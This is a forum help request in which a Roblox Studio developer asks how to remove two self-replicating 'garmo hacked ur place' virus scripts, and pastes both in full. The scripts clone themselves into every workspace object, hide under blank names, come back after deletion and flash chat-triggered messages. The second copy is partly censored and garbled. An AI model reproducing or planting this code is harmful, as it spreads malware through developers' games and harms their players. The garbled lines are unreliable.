so i wanted to create a game on roblox studio but suddenly i see things with garmo hacked you're place and br######tand there to! it has a script with it and when i try to delete it then 10 seconds later it shows back. Can anyone help me?
The Script of Garmo:
names={"garmo hacked ur place"}
local NameCheck = false
script.Parent.Name = names[math.random(1, #names)]
script.Name = [[N0ISESCRIPT]]
local c = script.Parent:Clone()
function addEvent(ch)
wait(math.random())
NameCheck = false
for ss = 1, #names do
if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then
NameCheck = true
end
end
if NameCheck == false then
local cloak = c:Clone()
cloak.Name = ""
cloak:GetChildren()[1].Name = ""
cloak.Parent = ch
cloak.Name = names[math.random(1, 5)]
end
end
workspace.ChildAdded:connect(addEvent)
game.Players.PlayerAdded:connect(function(pl)
pl.Chatted:connect(function(m)
if m:sub(1, 5) == "/sc t" then
local m = Instance.new("Message")
m.Parent = workspace
m.Text = "garmo"
wait(1)
m.Text = "garmo"
wait(0.25)
m.Text = "garmo"
wait(0.25)
m.Text = "garmo"
wait(0.25)
m.Text = "garmo"
wait(0.25)
m.Text = "garmo"
wait(0.25)
m.Text = "garmo"
wait(0.25)
m.Text = "garmo"
wait(3)
m:remove()
end
if m:sub(1, 5) == "HAAXX" then
local m = Instance.new("Message")
m.Parent = workspace
m.Text = "HAAXX"
wait(3)
m:remove()
end
end)
end)
while true do
local s = workspace:GetChildren()
for i = 1, #s do
NameCheck = false
for ss = 1, #names do
if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then
NameCheck = true
end
end
if NameCheck == false then
local cloak = c:Clone()
cloak.Name = ""
cloak:GetChildren()[1].Name = ""
cloak.Parent = s[i]
end
wait(0.1)
end
wait(1)
end
And the script of Br########
n###################local NameCheck = false
script.Parent.Name = names[math.random(1, #names)]
script.Name = [[ProperGr�mmerNeededInPhilosiphalLocations;insertNoobHere]]
local c = script.Parent:Clone()
function addEvent(ch)
wait(math.random())
NameCheck = false
for ss = 1, #names do
if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then
NameCheck = true
end
end
if NameCheck == false then
local cloak = c:Clone()
cloak.Name = ""
cloak:GetChildren()[1].Name = ""
cloak.Parent = ch
cloak.Name = names[math.random(1, 5)]
end
end
workspace.ChildAdded:connect(addEvent)
game.Players.PlayerAdded:connect(function(pl)
pl.Chatted:connect(function(m)
if m:sub(1, 5) == "/sc t" then
local m = Instance.new("Message")
m.Parent = workspace
m.Text = "THEY CALL ME CRAZY"
wait(1)
m.########l############# wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "GOTTA GOTTA BE CRAZY"
wait(1)
m.Text = "lOoOoOoOp"
wait(0.25)
m.###### #L########### wait(0.25)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "GOTTA GET A LIFE (YOU)"
wait(3)
m:remove()
end
if m:sub(1, 5) == "HAAXX" then
local m = Instance.new("Message")
m.Parent = workspace
m.Text = "HAAXX"
wait(3)
m:remove()
end
end)
end)
while true do
local s = workspace:GetChildren()
for i = 1, #s do
NameCheck = false
for ss = 1, #names do
if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then
NameCheck = true
end
end
if NameCheck == false then
local cloak = c:Clone()
cloak.Name = ""
cloak:GetChildren()[1].Name = ""
cloak.Parent = s[i]
end
wait(0.1)
end
wait(1)
end
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